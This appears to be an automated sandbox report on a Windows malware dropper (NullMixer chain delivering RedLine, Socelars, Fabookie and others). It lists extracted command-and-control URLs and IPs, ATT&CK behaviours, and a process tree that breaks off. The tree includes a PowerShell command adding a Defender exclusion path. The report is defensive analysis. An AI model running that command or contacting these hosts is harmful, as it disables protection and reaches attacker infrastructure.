fabookie | c05dcc1cf5041eb12034132df4ae105c6abccae45e18a11b102f6d8340f68e6c

Analysis

max time kernel
90s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
18-08-2024 01:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a4ed242cae44c8b0bf982ba536e7f4a4_JaffaCakes118.exe
Size

4.3MB
MD5

a4ed242cae44c8b0bf982ba536e7f4a4
SHA1

1468ccf6396f93cdae03b81aed87ea2211b9a4fa
SHA256

c05dcc1cf5041eb12034132df4ae105c6abccae45e18a11b102f6d8340f68e6c
SHA512

099dfeef428a0a294aea746b37fead0d6e77d8ec21a23ad567630975b1c0cb41e6c3e031879efc10ec1c7adb25473cebbb094492a4a30f79021c44dff925eb58
SSDEEP

98304:J1Dvlv8ATz3d3v0UF7MT22iN9BwU1fzu74IalBu7gurBW:JP0ATLdzK22iN9Rte41U7ggW

Malware Config

Extracted

Family

socelars

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.znsjis.top/

Extracted

Family

nullmixer

http://hsiens.xyz/

Extracted

Family

redline

Botnet

jamesoldd

65.108.20.195:6774

Extracted

Family

redline

Botnet

ANI

45.142.215.47:27643

Extracted

Family

gcleaner

gcl-page.biz

194.145.227.161

Signatures

Detect Fabookie payload 1 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023440-80.dat	family_fabookie

Fabookie
Fabookie is facebook account info stealer.
spyware stealer fabookie
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
dropper nullmixer
OnlyLogger
A tiny loader that uses IPLogger to get its payload.
loader onlylogger
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral2/memory/4880-165-0x0000000002620000-0x0000000002644000-memory.dmp	family_redline
behavioral2/memory/4880-162-0x00000000023A0000-0x00000000023C6000-memory.dmp	family_redline
behavioral2/memory/2916-178-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 3 IoCs

resource	yara_rule
behavioral2/memory/4880-165-0x0000000002620000-0x0000000002644000-memory.dmp	family_sectoprat
behavioral2/memory/4880-162-0x00000000023A0000-0x00000000023C6000-memory.dmp	family_sectoprat
behavioral2/memory/2916-178-0x0000000000400000-0x0000000000422000-memory.dmp	family_sectoprat

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars payload 1 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023444-81.dat	family_socelars

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

OnlyLogger payload 3 IoCs

resource	yara_rule
behavioral2/memory/3984-243-0x0000000000400000-0x000000000046F000-memory.dmp	family_onlylogger
behavioral2/memory/3984-274-0x0000000000400000-0x000000000046F000-memory.dmp	family_onlylogger
behavioral2/memory/3984-313-0x0000000000400000-0x000000000046F000-memory.dmp	family_onlylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
134	3988	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4380	powershell.exe

ASPack v2.12-2.42 3 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x0007000000023448-57.dat	aspack_v212_v242
behavioral2/files/0x000700000002344a-65.dat	aspack_v212_v242
behavioral2/files/0x0007000000023447-60.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	a4ed242cae44c8b0bf982ba536e7f4a4_JaffaCakes118.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	SkVPVS3t6Y8W.EXe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	setup_installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	Fri222ae8c487.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 19 IoCs

pid	Process
2912	setup_installer.exe
3016	setup_install.exe
4664	Fri2271b04a0f.exe
1396	Fri225e887fa84d58e.exe
4088	Fri22bbc66c2a1d88ca.exe
3984	Fri221ad3d21c.exe
3760	Fri22211ed5192070.exe
4540	Fri226cff092ae.exe
1484	Fri227d78279da52a1.exe
4320	Fri2299c3f912d.exe
4880	Fri225e7ac14f.exe
4248	Fri222ae8c487.exe
224	Fri22e6b0f88ca7.exe
1444	Fri225c3b736cde03.exe
3232	Fri22bbc66c2a1d88ca.tmp
5008	SkVPVS3t6Y8W.EXe
2916	Fri227d78279da52a1.exe
5940	e588f3b.exe
5528	e58c8aa.exe

Loads dropped DLL 8 IoCs

pid	Process
3016	setup_install.exe
3016	setup_install.exe
3016	setup_install.exe
3016	setup_install.exe
3016	setup_install.exe
3232	Fri22bbc66c2a1d88ca.tmp
4396	rundll32.exe
3988	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hemlmgggokggmncimchkllhcjcaimcle\9.86.66_0\manifest.json	Fri2299c3f912d.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
125	pastebin.com
32	iplogger.org
34	iplogger.org
35	iplogger.org
45	iplogger.org
124	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1484 set thread context of 2916	1484	Fri227d78279da52a1.exe	123

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 15 IoCs

pid	pid_target	Process	procid_target
4752	3016	WerFault.exe	89
1624	224	WerFault.exe	117
3320	3984	WerFault.exe	109
4172	3984	WerFault.exe	109
5108	3984	WerFault.exe	109
4652	3984	WerFault.exe	109
2428	3984	WerFault.exe	109
1932	3984	WerFault.exe	109
1804	3984	WerFault.exe	109
5160	3984	WerFault.exe	109
5320	3984	WerFault.exe	109
568	5940	WerFault.exe	183
5228	5528	WerFault.exe	186
2356	3984	WerFault.exe	109
5760	3984	WerFault.exe	109

System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri227d78279da52a1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri227d78279da52a1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e588f3b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri2271b04a0f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri22bbc66c2a1d88ca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri225c3b736cde03.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri22e6b0f88ca7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri225e7ac14f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SkVPVS3t6Y8W.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri2299c3f912d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri22bbc66c2a1d88ca.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri222ae8c487.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	control.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e58c8aa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a4ed242cae44c8b0bf982ba536e7f4a4_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri221ad3d21c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri22e6b0f88ca7.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri22e6b0f88ca7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri22e6b0f88ca7.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
2948	taskkill.exe
1416	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133684195581456247"	chrome.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4380	powershell.exe
4380	powershell.exe
4380	powershell.exe
4636	chrome.exe
4636	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3984	Fri221ad3d21c.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3760	Fri22211ed5192070.exe
Token: SeCreateTokenPrivilege	4320	Fri2299c3f912d.exe
Token: SeAssignPrimaryTokenPrivilege	4320	Fri2299c3f912d.exe
Token: SeLockMemoryPrivilege	4320	Fri2299c3f912d.exe
Token: SeIncreaseQuotaPrivilege	4320	Fri2299c3f912d.exe
Token: SeMachineAccountPrivilege	4320	Fri2299c3f912d.exe
Token: SeTcbPrivilege	4320	Fri2299c3f912d.exe
Token: SeSecurityPrivilege	4320	Fri2299c3f912d.exe
Token: SeTakeOwnershipPrivilege	4320	Fri2299c3f912d.exe
Token: SeLoadDriverPrivilege	4320	Fri2299c3f912d.exe
Token: SeSystemProfilePrivilege	4320	Fri2299c3f912d.exe
Token: SeSystemtimePrivilege	4320	Fri2299c3f912d.exe
Token: SeProfSingleProcessPrivilege	4320	Fri2299c3f912d.exe
Token: SeIncBasePriorityPrivilege	4320	Fri2299c3f912d.exe
Token: SeCreatePagefilePrivilege	4320	Fri2299c3f912d.exe
Token: SeCreatePermanentPrivilege	4320	Fri2299c3f912d.exe
Token: SeBackupPrivilege	4320	Fri2299c3f912d.exe
Token: SeRestorePrivilege	4320	Fri2299c3f912d.exe
Token: SeShutdownPrivilege	4320	Fri2299c3f912d.exe
Token: SeDebugPrivilege	4320	Fri2299c3f912d.exe
Token: SeAuditPrivilege	4320	Fri2299c3f912d.exe
Token: SeSystemEnvironmentPrivilege	4320	Fri2299c3f912d.exe
Token: SeChangeNotifyPrivilege	4320	Fri2299c3f912d.exe
Token: SeRemoteShutdownPrivilege	4320	Fri2299c3f912d.exe
Token: SeUndockPrivilege	4320	Fri2299c3f912d.exe
Token: SeSyncAgentPrivilege	4320	Fri2299c3f912d.exe
Token: SeEnableDelegationPrivilege	4320	Fri2299c3f912d.exe
Token: SeManageVolumePrivilege	4320	Fri2299c3f912d.exe
Token: SeImpersonatePrivilege	4320	Fri2299c3f912d.exe
Token: SeCreateGlobalPrivilege	4320	Fri2299c3f912d.exe
Token: 31	4320	Fri2299c3f912d.exe
Token: 32	4320	Fri2299c3f912d.exe
Token: 33	4320	Fri2299c3f912d.exe
Token: 34	4320	Fri2299c3f912d.exe
Token: 35	4320	Fri2299c3f912d.exe
Token: SeDebugPrivilege	4540	Fri226cff092ae.exe
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeDebugPrivilege	2948	taskkill.exe
Token: SeDebugPrivilege	1416	taskkill.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe
Token: SeCreatePagefilePrivilege	4636	chrome.exe
Token: SeShutdownPrivilege	4636	chrome.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe
4636	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 552 wrote to memory of 2912	552	a4ed242cae44c8b0bf982ba536e7f4a4_JaffaCakes118.exe	88
PID 552 wrote to memory of 2912	552	a4ed242cae44c8b0bf982ba536e7f4a4_JaffaCakes118.exe	88
PID 552 wrote to memory of 2912	552	a4ed242cae44c8b0bf982ba536e7f4a4_JaffaCakes118.exe	88
PID 2912 wrote to memory of 3016	2912	setup_installer.exe	89
PID 2912 wrote to memory of 3016	2912	setup_installer.exe	89
PID 2912 wrote to memory of 3016	2912	setup_installer.exe	89
PID 3016 wrote to memory of 4536	3016	setup_install.exe	92
PID 3016 wrote to memory of 4536	3016	setup_install.exe	92
PID 3016 wrote to memory of 4536	3016	setup_install.exe	92
PID 3016 wrote to memory of 4152	3016	setup_install.exe	93
PID 3016 wrote to memory of 4152	3016	setup_install.exe	93
PID 3016 wrote to memory of 4152	3016	setup_install.exe	93
PID 3016 wrote to memory of 5068	3016	setup_install.exe	94
PID 3016 wrote to memory of 5068	3016	setup_install.exe	94
PID 3016 wrote to memory of 5068	3016	setup_install.exe	94
PID 3016 wrote to memory of 884	3016	setup_install.exe	95
PID 3016 wrote to memory of 884	3016	setup_install.exe	95
PID 3016 wrote to memory of 884	3016	setup_install.exe	95
PID 3016 wrote to memory of 2996	3016	setup_install.exe	96
PID 3016 wrote to memory of 2996	3016	setup_install.exe	96
PID 3016 wrote to memory of 2996	3016	setup_install.exe	96
PID 3016 wrote to memory of 3052	3016	setup_install.exe	97
PID 3016 wrote to memory of 3052	3016	setup_install.exe	97
PID 3016 wrote to memory of 3052	3016	setup_install.exe	97
PID 3016 wrote to memory of 3824	3016	setup_install.exe	98
PID 3016 wrote to memory of 3824	3016	setup_install.exe	98
PID 3016 wrote to memory of 3824	3016	setup_install.exe	98
PID 3016 wrote to memory of 1632	3016	setup_install.exe	99
PID 3016 wrote to memory of 1632	3016	setup_install.exe	99
PID 3016 wrote to memory of 1632	3016	setup_install.exe	99
PID 3016 wrote to memory of 3900	3016	setup_install.exe	100
PID 3016 wrote to memory of 3900	3016	setup_install.exe	100
PID 3016 wrote to memory of 3900	3016	setup_install.exe	100
PID 3016 wrote to memory of 4172	3016	setup_install.exe	147
PID 3016 wrote to memory of 4172	3016	setup_install.exe	147
PID 3016 wrote to memory of 4172	3016	setup_install.exe	147
PID 3016 wrote to memory of 5072	3016	setup_install.exe	102
PID 3016 wrote to memory of 5072	3016	setup_install.exe	102
PID 3016 wrote to memory of 5072	3016	setup_install.exe	102
PID 3016 wrote to memory of 1852	3016	setup_install.exe	103
PID 3016 wrote to memory of 1852	3016	setup_install.exe	103
PID 3016 wrote to memory of 1852	3016	setup_install.exe	103
PID 3016 wrote to memory of 1344	3016	setup_install.exe	137
PID 3016 wrote to memory of 1344	3016	setup_install.exe	137
PID 3016 wrote to memory of 1344	3016	setup_install.exe	137
PID 2996 wrote to memory of 4664	2996	cmd.exe	106
PID 2996 wrote to memory of 4664	2996	cmd.exe	106
PID 2996 wrote to memory of 4664	2996	cmd.exe	106
PID 5068 wrote to memory of 1396	5068	cmd.exe	105
PID 5068 wrote to memory of 1396	5068	cmd.exe	105
PID 3824 wrote to memory of 4088	3824	cmd.exe	107
PID 3824 wrote to memory of 4088	3824	cmd.exe	107
PID 3824 wrote to memory of 4088	3824	cmd.exe	107
PID 4536 wrote to memory of 4380	4536	cmd.exe	108
PID 4536 wrote to memory of 4380	4536	cmd.exe	108
PID 4536 wrote to memory of 4380	4536	cmd.exe	108
PID 3052 wrote to memory of 3984	3052	cmd.exe	109
PID 3052 wrote to memory of 3984	3052	cmd.exe	109
PID 3052 wrote to memory of 3984	3052	cmd.exe	109
PID 1852 wrote to memory of 3760	1852	cmd.exe	110
PID 1852 wrote to memory of 3760	1852	cmd.exe	110
PID 1632 wrote to memory of 4540	1632	cmd.exe	111
PID 1632 wrote to memory of 4540	1632	cmd.exe	111
PID 1344 wrote to memory of 1484	1344	cmd.exe	112

C:\Users\Admin\AppData\Local\Temp\a4ed242cae44c8b0bf982ba536e7f4a4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a4ed242cae44c8b0bf982ba536e7f4a4_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:552
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Users\Admin\AppData\Local\Temp\7zS06B62067\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS06B62067\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4536
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4380
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri225e7ac14f.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4152
    - - C:\Users\Admin\AppData\Local\Temp\7zS06B62067\Fri225e7ac14f.exe
        
        Fri225e7ac14f.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4880
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri225e887fa84d58e.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5068
    - - C:\Users\Admin\AppData\Local\Temp\7zS06B62067\Fri225e887fa84d58e.exe
        
        Fri225e887fa84d58e.exe
        5⤵
        Executes dropped EXE
        
        PID:1396
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri2299c3f912d.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:884
    - - C:\Users\Admin\AppData\Local\Temp\7zS06B62067\Fri2299c3f912d.exe
        
        Fri2299c3f912d.exe
        5⤵
        Executes dropped EXE
        Drops Chrome extension
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4320
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4848
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1416
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4636
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffccfcbcc40,0x7ffccfcbcc4c,0x7ffccfcbcc58
        7⤵
        
        PID:2592
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1924,i,6030877004277518486,14298273707468753289,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1920 /prefetch:2
        7⤵
        
        PID:3580
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2156,i,6030877004277518486,14298273707468753289,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2204 /prefetch:3
        7⤵
        
        PID:4236
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2240,i,6030877004277518486,14298273707468753289,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2252 /prefetch:8
        7⤵
        
        PID:2796
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
